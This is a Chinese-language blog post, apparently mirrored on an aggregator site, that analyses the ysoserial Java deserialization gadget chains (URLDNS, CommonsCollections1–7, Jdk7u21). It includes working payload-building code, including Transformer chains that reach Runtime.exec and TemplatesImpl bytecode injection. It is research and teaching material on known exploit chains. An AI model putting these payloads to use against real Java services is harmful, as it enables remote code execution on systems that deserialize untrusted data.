60

ysoserial payload分析

 4 years ago
source link: https://www.kingkk.com/2020/02/ysoserial-payload分析/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

先从最简单的开始,根据ysoserial中的gadget提示,可以比较容易的找到触发过程

Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

HashMap 中重写了 readObject 方法,在最后放置key、value时有一个对key的hash操作

putVal(hash(key), key, value, false, false);

里面调用了key的hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在URL的hashCode中,假如hashCode!=-1,则会调用handler的hashCode方法,去计算hash

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

handler是一个抽象类,但是实现了 hashCode 方法,里面对传入的url进行了 getHostAddress
这里就会发送一次DNS请求

InetAddress addr = getHostAddress(u);

由于比较简单,我自己也尝试构造了下

  • 由于hashCode是private,所以要用反射修改下值
  • set操作要在put之后,因为put时会重新计算一遍hashCode
Map<URL, String> map = new HashMap<>();
URL url = new URL("http://dns.kingkk.com");
Class<?> clz = URL.class;
Field f = clz.getDeclaredField("hashCode");
f.setAccessible(true);
map.put(url, "payload");
f.set(url, -1);
return map;

CommonsCollections1

基于3.1版本的payload @Dependencies({"commons-collections:commons-collections:3.1"})
看了下ysoserial中给的gadget信息

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map(Proxy).entrySet()
			AnnotationInvocationHandler.invoke()
				LazyMap.get()
					ChainedTransformer.transform()
						ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
								Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

emmm,这回换一种方式,先从LazyMap开始看(一个原因也是因为它是第一步进入 Commons-Collections 的类)

来到get方法可以看到有个if分支是调用了 transform
QJvQre3.png!web

factory 是一个Transformer接口

zEZ32iM.png!web

ChainedTransformer 正好就是个实现了 Transformer 接口的类

它的 transform 实现就很有意思了

将成员变量 iTransformers 数组中的类,递归调用 transform ,类似于reduce的操作

MnYjI3A.png!web

再来看 InvokerTransformertransform 实现

对于invoke操作来说,method、input、iArgs都是可控的(因为都是成员变量或者成员变量可控的)

这样就意味着可以调用任意类的任意方法

RjEBNb6.png!web

感觉后面transformer的调用比较好比理解,前半部分 AnnotationInvocationHandler 的调用就更有意思了

需要补充一些Java动态代理的知识点,这里就不展开讲。简单来说就是动态代理之后的方法调用会转移到invoke的调用上。

在这个payload中就是将readObject中的 entrySet 方法调用,转换成了invoke中的 get 方法,从而执行LazyMap的get方法,将readObject和get方法串联在一起(为什么不直接找一个readObject中调用了Map.get的?是不好找,还是说invoke的方法更类似于一种通用解?)

这里先来看前半部分 AnnotationInvocationHandler 的payload生成(按照自己的方式稍微调整了下)

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = createMemoizedInvocationHandler(mapProxy);

public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
    InvocationHandler ih = createMemoizedInvocationHandler(map);
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[0] = iface;
    if (ifaces.length > 0) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    return iface.cast(Proxy.newProxyInstance(YsoserialTest.class.getClassLoader(), allIfaces, ih));

}

public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
    String handleName = "sun.reflect.annotation.AnnotationInvocationHandler";
    final Constructor<?> ctor = Class.forName(handleName).getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    return (InvocationHandler) ctor.newInstance(Override.class, map);
}
  • createMemoizedInvocationHandler : 很明显能看出是实例化 AnnotationInvocationHandler 一个实例(由于修饰符是默认的,不在同一个包下只能通过反射的方式)
  • createMemoitizedProxy :创建一个 AnnotationInvocationHandler 代理的Map实例

然后传递的变量也值得注意下,最后返回的是一个 AnnotationInvocationHandler 实例

并且handler的成员变量 iTransformers 也是一个由 AnnotationInvocationHandler 代理的Map

搞清楚这些之后,来分析逻辑就比较清晰了。

一开始应该就是调用到handler的 reabObject 方法,在这里调用了一次 iTransformersentrySet 方法

jU7BrqY.png!web

由于传入的 iTransformers 是个动态代理,所以会调用到处理器的invoke方法上,也就是 AnnotationInvocationHandler 的invoke方法

在invoke方法中调用了 iTransformers 的get方法

V3mYJ37.png!web

到这里,就将readObject和LazyMap的get方法连在一起了

需要注意的是这里传入的参数是不可控的(var4是被调用函数的名字)

所以这也就引出了另一个没有被介绍到的类 ConstantTransformer

它的 transform 方法返回值与传参无关,是由成员变量决定的

Ab6zyqQ.png!web

这样子整个逻辑就差不多可以串起来了

通过 AnnotationInvocationHandler 的readObject触发到成员变量 iTransformers 的entrySet

由于代理的关系触发到invoke的逻辑,从而触发LazyMap的get方法

通过LazyMap的get方法,可以调用成员变量的transform方法,从而触发到 ChainedTransformer 的transform

ChainedTransformer 的transform可以以reduce的方式去调用Transform数组的transform方法

由于传入的key不可控,所以通过 ConstantTransformertransform 返回一个可以由成员变量控制的值

这样reduce的第一次由ConstantTransformer返回Runtime.class类

第二次由InvokerTransformer执行 Runtime.class.getMethod("getRuntime") 返回getRuntime方法

第三次由InvokerTransformer执行 Method.invoke(getRuntime, null) (通过反射执行了Runtime.getRuntime静态方法)返回Runtime实例

第四次由InvokerTransformer执行Runtime实例的 exec 方法

这样整个命令执行过程就完成了。

 String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs)};

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = createMemoizedInvocationHandler(mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers); 

return handler;

相较于ysoserial中的payload,Transfrom数组中少了个 new ConstantTransformer(1) ,亲测是可以去掉的

本来之前还有个疑问就是,为什么不直接一开始就传个 new ProcessBuilder("cmd") 对象,然后直接执行start方法即可,这样payload也会更简单。

亲手试了之后会发现 ProcessBuilder 类由于没有实现 Serializable 接口,从而不能进行反序列化。(Runtime也是同理)

但是Class类这些反射库文件都是实现了 Serializable 接口的,所以只能通过比较繁琐的反射方式来执行命令。

还有一个小问题就是这个payload在高版本的java8环境中是无法执行的。

参考了下这篇文章前半部分的内容 http://www.secwk.com/2019/11/14/14183/

是由于在java8的某次更新中对 AnnotationInvocationHandler 进行了修改 http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/diff/8e3338e7c7ea/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

jdk1.8_u40和jdk1.8_u112的对比就能看到,entrySet的调用变成了var4

原本 var1.defaultReadObject(); 的调用也重写了

QJZR3uR.png!web

所以原本entrySet的invoke调用链也就断了,但是这个问题会在后面的Payload中被解决。(当然是找了条别的链)

看了下commons-collections4中的类,类名和方法都是类似的,只是其中增加了很多泛型的操作,并且LazyMap的decorate方法被移除了,并且LazyMap的初始化方法是default修饰符,所以需要用下反射来构造LazyMap类即可。(亲测,可用,得劲)

需要注意下引入的类名也变成了 org.apache.commons.collections4.*

// 原本的 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Constructor ctor = LazyMap.class.getDeclaredConstructors()[0];
ctor.setAccessible(true);
final Map lazyMap = (Map) ctor.newInstance(innerMap, transformerChain);

CommonsCollections2

基于4.0版本的payload @Dependencies({ "org.apache.commons:commons-collections4:4.0" })
来看下ysoserial中给出的gadget信息,这回的信息相对简洁

ObjectInputStream.readObject()
	PriorityQueue.readObject()
		...
			TransformingComparator.compare()
				InvokerTransformer.transform()
					Method.invoke()
						Runtime.exec()
这回commons-collections中的调用链到了 TransformingComparator.compare() 来触发 InvokerTransformer.transform()

相较于之前 ChainedTransformer.transform() 方法来说,少了reduce的操作,只能调用一次 transform 方法。

I7JNbir.png!web

所以,是如何通过一次invoke的调用,进行命令执行的,这里也是很有意思的部分

ysoserial中把这个封装成了 Gadgets.createTemplatesImpl ,可以详细看看这里是如何生成这个 templates

final Object templates = Gadgets.createTemplatesImpl(command);

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

这里就很nb了,可以看到是借助了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类

这个类里面有两个属性

  • _bytecodes : 是记载字节码信息的
  • _class : 根据 _bytecodes 的字节码信息生成的类

来到 getTransletInstance 方法中,可以看到有个 defineTransletClasses()Class.newInstance() 的操作

ea6nEv7.png!web

defineTransletClasses 方法中可以看到,将 _bytes 字节码信息生成类信息,保存在 _class

7ruIfaE.png!web

然后在 getTransletInstance 的方法中实例化了这个 _class 中的类

所以我们只要生成一个类,并在构造函数中调用命令执行函数即可。

ysoserial中用到了javassist来进行字节码操作,在初始化函数后面添加了命令执行的函数。

v2ArQ3n.png!web 至于为什么生成的类是一个继承了 AbstractTranslet 抽象类的类,我想可能是跟 getTransletInstance 中生成的类加载器有关,这里的类加载器是 TransletClassLoader
EZjEFb3.png!web

最后,由于 getTransletInstance 是个私有方法,既然是私有,则一定有调用的地方,就是在 newTransformer 方法中

qeQJv2M.png!web

到这里,一个invoke方法完成命令执行的gadget也就分析完了。这个template gadget在ysoserial中用的还是蛮多的,

由于是位于rt.jar中的类

,

貌似jdk8之后从rt.jar中分离出来变成了xalan.jar

应该是分离出来的包名为 org.apache.xalan.xsltc ,原生的是 com.sun.org.apache.xalan.internal.xsltc 这点从 Gadget.createTemplatesImpl 中应该可以看出

也算是一种单次invoke执行系统命令比较好的一个通用解。

触发流程如下

TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
        Class.newInstance() // 执行任意字节码的初始化方法

前面 java.util.PriorityQueue 的部分没有太多好分析的,最多可能调用栈会稍微深一点

但有一个需要稍微注意一下的是在设置queue的时候,设置了两份数据,虽然只有第一份是payload,但是去除第二份之后会使得逻辑走不到后面的部分。

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

可以来稍微看一下调用过程

最开始是 PriorityQueue 的readObject部分,调用了 heapify 方法

zYn6Frz.png!web

heapify 中遍历queue调用 siftDown (heapify中的 ((size >>> 1) - 1)也就是为什么要多加一个数据的原因 )

3i6J3qY.png!websiftDown 跟到 siftDownUsingComparator
yQzqqy7.png!web

siftDownUsingComparator 中触发了成员变量 comparator.compare 方法

jm22QzU.png!web

之后的逻辑就可以和 TransformingComparator.compare 调用 InvokerTransformer.transform 最后通过template gadget命令执行的逻辑串起来了,就是一条完整的反序列化gadget。

完善一下之前的gadget信息就是

ObjectInputStream.readObject()
	PriorityQueue.readObject()
		...
			TransformingComparator.compare()
				InvokerTransformer.transform()
				    TemplatesImpl.newInstance()
				        ... template gadget

CommonsCollections3

基于3.1的版本 @Dependencies({"commons-collections:commons-collections:3.1"})

没给出gadget的信息,但是明显可以看到和CommonsCollections1的内容几乎大体一致

主要是 transformers 数组的部分改了下

Object templatesImpl = Gadgets.createTemplatesImpl(command);

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(TrAXFilter.class),
		new InstantiateTransformer(
				new Class[] { Templates.class },
				new Object[] { templatesImpl } )};
来关注下新出现的两个类 InstantiateTransformerTrAXFilter

InstantiateTransformertransform 方法中可以看到,这里是进行动态实例化

quaUbu7.png!web 然后是 TrAXFilter 的构造函数,对传入的templates调用 newTransformer
JbUjeeA.png!web

这样的话就可以和之前的template gadget串起来了,在调用 newTransformer 时从字节码中加载类,然后运行构造方法,从而执行危险函数。

至于前面readObject的调用还是用的 AnnotationInvocationHandler 到动态代理然后LazyMap。

整体的调用流程:

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map(Proxy).entrySet()
			AnnotationInvocationHandler.invoke()
				LazyMap.get()
					ChainedTransformer.transform()
						ConstantTransformer.transform()
						InstantiateTransformer.transform()
							new TrAXFilter()
							    TemplatesImpl.newInstance()
							        ... template gadget

CommonsCollections4

基于4.0的版本 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
注释里有一句话

Variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.

InstantiateTransformer 代替了CommonsCollections4中的 InvokerTransformer
这样触发链就变成了

ObjectInputStream.readObject()
	PriorityQueue.readObject()
		...
			TransformingComparator.compare()
				InstantiateTransformer.transform()
					new TrAXFilter()
					    TemplatesImpl.newInstance()
					        ... template gadget

CommonsCollections5

基于3.1的版本 @Dependencies({"commons-collections:commons-collections:3.1"})

之前CommonsCollections1的时候有一个疑问,就是为什么不直接找一个在readObject时能触发get方法的类。

这回的gadget也正是解决了这个问题,至于后面LazyMap的调用还是和之前一致。

来看一下给出的gadget信息

ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

可以看到这回的调用相对于之前的其实思路会更清晰,没有了动态代理之类的操作,调用逻辑更加直接。

来看到 BadAttributeValueExpException 的readObject方法

从字节流中读取val字段,然后调用toString方法。(但其实这里时有前提的,就是 System.getSecurityManager() == null ,也就是没有设置SecurityManager)

yEzu6ri.png!web 然后调用到 TiedMapEntity 的toString方法,并且在调用getValue时触发了 Map.get
YZV3I3A.png!webm67RRfb.png!web

从而连接到LazyMap那条gadget

注释里还有条信息就是,也就是我们之前看到的if条件中,在jdk 8u76之后,需要没有设置security manager才能触发这条gadget。

CommonsCollections6

基于3.1的版本 @Dependencies({"commons-collections:commons-collections:3.1"})
来看下gadget的信息(优化了下)

ObjectInputStream.readObject()
    HashSet.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

可以看到后面LazyMap的调用也是我们熟悉的,所以还是相当于找了个从readObject->Map.get的调用链

先来看到 HashSet.readObject()

可以看到这里创建了个HashMap之后做了put的操作

Ibuuyie.png!web

put操作则会对key值进行hash,进而调用hashCode方法

rQv6viq.png!webuEZF73J.png!web

TiedMapEntry的hashCode会进而调用到getValue方法,从而执行Map.get

qIF3If3.png!webUbU7JbU.png!web

CommonsCollections7

基于3.1的版本 @Dependencies({"commons-collections:commons-collections:3.1"})
来看下gadget的信息(优化后)

Hashtable.readObject()
    Hashtable.reconstitutionPut()
        AbstractMapDecorator.equals()
            AbstractMap.equals()
                LazyMap.get()
                    ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

还是和之前一样,找了个另外的方式来触发Map.get

在HashTable的readObject方法中调用了 reconstitutionPut ,这里对table中key进行了equals的比较

UNJvYr7.png!web

于是触发到 AbstractMap 的equals方法,这里则会触发Map.get

qaQBFr6.png!web

于是和前面一样,将LazyMap.get的链连接起来即可。

看了下面这篇文章之后,发现实际构造时,有两个特别有意思的点之前没关注到。

http://blog.0kami.cn/2019/10/31/study-java-deserialized-commonscollections3-others/

1、HashTable的哈希冲突

可以看到在进入 e.key.equals(key) 前会有个短路条件 e.hash == hash
riuaUvU.png!web

就是说table中存在hash相同的key值,这也是ysoserial在构造的时候一个巧妙的地方

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

我们实际打印下”yy”和”zZ”的hashCode之后会发现哈希值是一样的,但是equals的判断逻辑中比较的并不是hashCode,而且另外的判断逻辑。

System.out.println("yy".hashCode()); // 3872
System.out.println("zZ".hashCode()); // 3872
System.out.println("yy".equals("zZ")); // false

这样只有当table中存在hash相同的key值时,才会进入到 e.key.equals 的逻辑中

2、删除自动生成的key/value

这里我的观念与参考文章的部分不同。

由于hashtable有两次put的操作,在第二次 hashtable.put(lazyMap2, 2); 时,会触发LazyMap的get方法,会新增一个key/value值相同的键值对。

MvIZbu3.png!web

这样在 AbstractMap.equals() 的逻辑中,由于两个map的长度不一致,直接返回false,不会进入到后面Map.get的逻辑当中

e6JrM3U.png!web

所以在payload中会有remove的操作,就是删掉自动生成的”yy”键值对。

lazyMap2.remove("yy");

Jdk7u21

唯一一个仅依赖rt.jar的gadget,只可惜版本限制太低,应该已经没什么人用jdk 7u21了吧。

有了前面的动态代理、template gadget的基础之后,这里的gadget理解起来也就轻松了很多。

个人感觉这回给出的gadget信息有点凌乱,不如直接来看触发的堆栈。

最开始的触发逻辑是HashSet.readObject和之前一样,进入了Map.put(但是这回map是个LinkedHashMap实例)

HashSet的内部由一个HashMap维护,这回gadget反序列化的是一个LinkedHashSet,内部则是LinkedHashMap

aq2EruM.png!web

然后进入到HashMap的put逻辑当中(感觉这个逻辑很熟悉就是之前CommonsCollection7中HashTable的put逻辑,但有一点点小差异)

m6RZbqj.png!web

这回我们还是要和之前类似,触发到 key.equals 逻辑,简化之后这里的条件是

  • e.hash == hash(key) true
  • e.key == key false
    e就是当前map中的entry,key则是当前要put的值(value其实是没什么意义的)
    第二个条件比较容易成立,只要当前map中的key没有和要put的key相同即可(也就是指LinkedHashSet两次put的值不一致)
    第一个条件就是这个payload比较有意思的地方了,只能默默喊一声nb
    我们可以看下hashCode的具体实现
    由于 useAltHashing 默认为false,所以hash的值仅与 k.hashCode() 的结果有关
    EbQr6fB.png!web 这里的k我们设置的是一个被 AnnotationInvocationHandler 动态代理了的HashMap
    这样hashCode的逻辑就会动态代理到invoke的逻辑中
    invoke中当触发到 hashCode 时,会到 hashCodeImpl 方法中处理
    baAnmyb.png!web

this.memberValues 就是被我们动态代理的HashMap,所以 var2 就是每个entry

对于单个键值对的HashMap来说,hashCode值就是 127 * key.hashCode() ^ memberValueHashCode(value);

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        Iterator var2 = this.memberValues.entrySet().iterator();
        for( ;var2.hasNext(); ) {
            var3 = (Entry)var2.next();
            String key = var3.getKey();
            Object value = var3.getValue();
            var1 += 127 * 
                key.hashCode() ^          
                memberValueHashCode(value); 
        }

        return var1;
    }

由于任何一个数与0异或都是本身,所以我们可以在前面的LinkedHashSet中put这样一个HashMap

  • HashMap.key.HashCode == 0
  • LinkedHashSet.contains(HashMap.value) == false
    关于 HashCode==0 的字符串,网上就有不少 https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero
    比如ysoserial中用的就是 String zeroHashCodeStr = "f5a5a608";
    到这里就可以成功解决了 e.hash == hash 的问题,从而可以进入到 key.equals(k) 的逻辑中
    由于key是个被 AnnotationInvocationHandler 动态代理了的HashMap,所以也会走到invoke逻辑中,进而走到 equalsImpl
    需要留意一下这里传入的 var3[0] ,也就是之前的k,就是LinkedHashSet中已经存在了值
    Mv6JFnE.png!web 然后在 equalsImpl 函数中获取所有接口的方法,通过invoke动态调用
    所以只要将一开始存在LinkedHashMap中的key设置为 TemplatesImpl ,就可以动态调用到 TemplatesImplgetOutputProperties 方法
    VVj2mub.png!webgetOutputProperties 之后就是之前的template的gadget了。调用到 newTransformer() ,然后加载恶意字节码即可。
    QZ7ziu2.png!web

ysoserial中的payload

可以看到和之前分析的一致,HashSet中第一次add了被 AnnotationInvocationHandler 动态代理的 TemplatesImpl 实例类

第二次add的则是被动态代理的HashMap,格式为 {zeroHashCodeStr -> templates} (两次put可能是为了保证一些属性不被更改)

可以注意到的是这回特地设置了 type 属性为 Templates.class ,就是为了在 equalsImpl 中触发 Templates 接口的方法

final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object

return set;

最后按照分析的逻辑来梳理一遍gadget

LinkedHashSet.readObject()
    HashMap.put() // put {templates, object()}
        ... 
    HashMap.put() // put {(Proxy)HashMap{zeroHashCodeStr -> templates}, object() }
        e.hash == hash(key) // (第一次put的template).hashCode() == 17 * zeroHashCodeStr.hashCode ^ (当前的map.value).hashCode()
        Map(Proxy).equals()
            AnnotationInvocationHandler.invoke()
                AnnotationInvocationHandler.equalsImpl()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            ... // tempalte gadget

之后不能用的原因就是官方在 readObject 中校验了 type 类型,只允许为 Annotation.class
vmUnumN.png!web

云玩家感言

对,没错,就是我,新链又不挖,只会说说。

分析之后发现很多CommonsCollections的gadget都是杂交而来的。

但也确实是个很好的办法,这样就相当于拓展了反序列化的触发点,只要能够触发到已存在的gadget上的一环,就可以接上之前的gadget。

比如网上看到的一些师傅找到的新链

http://blog.0kami.cn/2019/10/31/study-java-deserialized-commonscollections3-others/

http://blog.0kami.cn/2019/11/10/study-java-deserialized-shiro-1-2-4/

https://meizjm3i.github.io/2019/07/07/Commons-Collections%E6%96%B0%E5%88%A9%E7%94%A8%E9%93%BE%E6%8C%96%E6%8E%98%E5%8F%8AWCTF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF%E4%B8%B2%E8%AE%B2/

都是在原来的基础上改动了之后变成了新的链,不过shiro中的commons-collection3的链确实还是比较有实际意义的。

如果还是以commons-collection为基础,感觉可以关注 org.apache.commons.collections4.functors.* 中所有的 Transformer
里面远不止payload中的那些 Transformer ,以梅子酒师傅的gadget为例,就是重新找了个功能类似的 Transformer

之前分析过的gadgetinspector就是一款自动化的gadget分析工具,通过数据流分析来寻找新的gadget

但是数据流分析比较重要的问题就是污点信息的跟踪,无法涵盖到尽可能多的函数时,污点信息很容易就跟丢了。

而且对于一些动态语法的跟踪,静态分析会显得无能为力,就像 InvokerTransformer 中的invoke就很难判断。

比较好的方式是从 Map.get 这些地方当作sink点来找新的链。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK